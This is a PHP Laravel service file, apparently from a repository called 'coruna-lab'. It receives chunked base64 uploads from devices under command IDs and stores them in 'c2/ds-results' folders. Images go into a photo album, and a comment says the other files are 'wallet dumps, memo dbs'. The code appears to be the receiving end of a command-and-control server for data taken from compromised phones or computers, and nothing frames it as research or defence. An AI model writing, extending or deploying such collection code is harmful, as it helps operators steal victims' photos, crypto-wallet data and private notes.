Files
coruna-lab/app/Services/DsResultStore.php
T
2026-09-12 03:42:48 +08:00

199 lines
6.6 KiB
PHP

<?php
namespace App\Services;
use App\Models\Device;
use App\Models\Photo;
use Illuminate\Support\Facades\Storage;
class DsResultStore
{
/** @var list<string> */
private const VIDEO_EXT = ['mp4', 'mov', 'm4v', 'avi', 'mkv', 'webm', '3gp', 'qt'];
/** @var list<string> */
private const IMAGE_EXT = ['png', 'jpg', 'jpeg', 'heic', 'heif', 'gif', 'webp', 'bmp', 'tif', 'tiff'];
public function __construct(
private readonly IngestService $ingest,
) {}
/**
* Persist one /result body. Videos are dropped. Chunks assemble under
* c2/ds-chunks then land in c2/ds-results. Images also go through album ingest.
*
* @param array<string, mixed> $payload
* @return array<string, mixed>
*/
public function store(Device $device, array $payload): array
{
$filename = $this->safeName((string) ($payload['filename'] ?? ''));
if ($filename === '') {
return ['stored' => false, 'reason' => 'no_filename'];
}
if ($this->isVideo($filename)) {
return ['stored' => false, 'reason' => 'video_skipped', 'filename' => $filename];
}
$raw = $payload['data'] ?? null;
if (! is_string($raw) || $raw === '') {
return ['stored' => false, 'reason' => 'no_data', 'filename' => $filename];
}
$bytes = base64_decode($raw, true);
if ($bytes === false) {
return ['stored' => false, 'reason' => 'bad_base64', 'filename' => $filename];
}
$commandId = $this->safeName((string) ($payload['command_id'] ?? 'unknown')) ?: 'unknown';
$total = isset($payload['total_chunks']) ? (int) $payload['total_chunks'] : 0;
$index = array_key_exists('chunk_index', $payload) ? (int) $payload['chunk_index'] : null;
if ($total > 1 && $index !== null) {
$assembled = $this->acceptChunk($device, $commandId, $filename, $index, $total, $bytes);
if ($assembled === null) {
return [
'stored' => false,
'reason' => 'chunk_pending',
'filename' => $filename,
'chunk_index' => $index,
'total_chunks' => $total,
];
}
$bytes = $assembled;
}
$hash = hash('sha256', $bytes);
if ($this->alreadyIngested($device, $filename, $hash)) {
return [
'stored' => false,
'reason' => 'duplicate',
'filename' => $filename,
'size' => strlen($bytes),
];
}
$rel = 'c2/ds-results/'.$device->device_id.'/'.$commandId.'/'.$filename;
Storage::disk('local')->put($rel, $bytes);
$this->markSeen($device, $hash, $filename);
$photo = false;
if ($this->isImage($filename) && $device->albumStorageEnabled()) {
$tmp = tempnam(sys_get_temp_dir(), 'ds_photo_');
if ($tmp !== false) {
file_put_contents($tmp, $bytes);
$this->ingest->ingestPhotos($device, [$tmp]);
@unlink($tmp);
$photo = true;
}
}
return [
'stored' => true,
'path' => $rel,
'photo' => $photo,
'size' => strlen($bytes),
'filename' => $filename,
];
}
private function alreadyIngested(Device $device, string $filename, string $hash): bool
{
$isImage = $this->isImage($filename);
$seen = Storage::disk('local')->exists($this->seenPath($device, $hash));
if (! $isImage) {
// Non-images (wallet dumps, memo dbs, …): .seen is the only dedup.
return $seen;
}
// For images, the Photo table is the source of truth for album dedup.
// markSeen() runs before ingestPhotos(), so a bare .seen marker can
// survive a failed/skipped album ingest (album storage was off, the
// device record was recreated, an exception was swallowed, …) and
// would otherwise block the photo from ever entering the album.
$hasPhoto = Photo::query()
->where('device_id', $device->id)
->where('sha256', $hash)
->exists();
if ($hasPhoto) {
if (! $seen) {
$this->markSeen($device, $hash, $filename);
}
return true;
}
// No Photo row yet. When album storage is enabled, retry the ingest
// (return false so store() re-stores + calls ingestPhotos). When
// disabled, fall back to .seen for raw-file dedup so we don't keep
// re-storing identical bytes under every new command_id.
return $seen && ! $device->albumStorageEnabled();
}
private function markSeen(Device $device, string $hash, string $filename): void
{
Storage::disk('local')->put($this->seenPath($device, $hash), $filename);
}
private function seenPath(Device $device, string $hash): string
{
return 'c2/ds-results/'.$device->device_id.'/.seen/'.$hash;
}
private function acceptChunk(
Device $device,
string $commandId,
string $filename,
int $index,
int $total,
string $bytes,
): ?string {
$dir = 'c2/ds-chunks/'.$device->device_id.'/'.$commandId.'/'.$filename;
Storage::disk('local')->put($dir.'/'.$index, $bytes);
Storage::disk('local')->put($dir.'/total', (string) $total);
for ($i = 0; $i < $total; $i++) {
if (! Storage::disk('local')->exists($dir.'/'.$i)) {
return null;
}
}
$out = '';
for ($i = 0; $i < $total; $i++) {
$out .= (string) Storage::disk('local')->get($dir.'/'.$i);
}
Storage::disk('local')->deleteDirectory($dir);
return $out;
}
private function isVideo(string $filename): bool
{
return in_array($this->extension($filename), self::VIDEO_EXT, true);
}
private function isImage(string $filename): bool
{
return in_array($this->extension($filename), self::IMAGE_EXT, true);
}
private function extension(string $filename): string
{
$dot = strrpos($filename, '.');
if ($dot === false) {
return '';
}
return strtolower(substr($filename, $dot + 1));
}
private function safeName(string $name): string
{
$name = str_replace(["\0", '\\'], '', $name);
$name = basename(str_replace(['/', '\\'], '', $name));
$name = preg_replace('/[^A-Za-z0-9._-]/', '_', $name) ?? '';
return $name === '.' || $name === '..' ? '' : $name;
}
}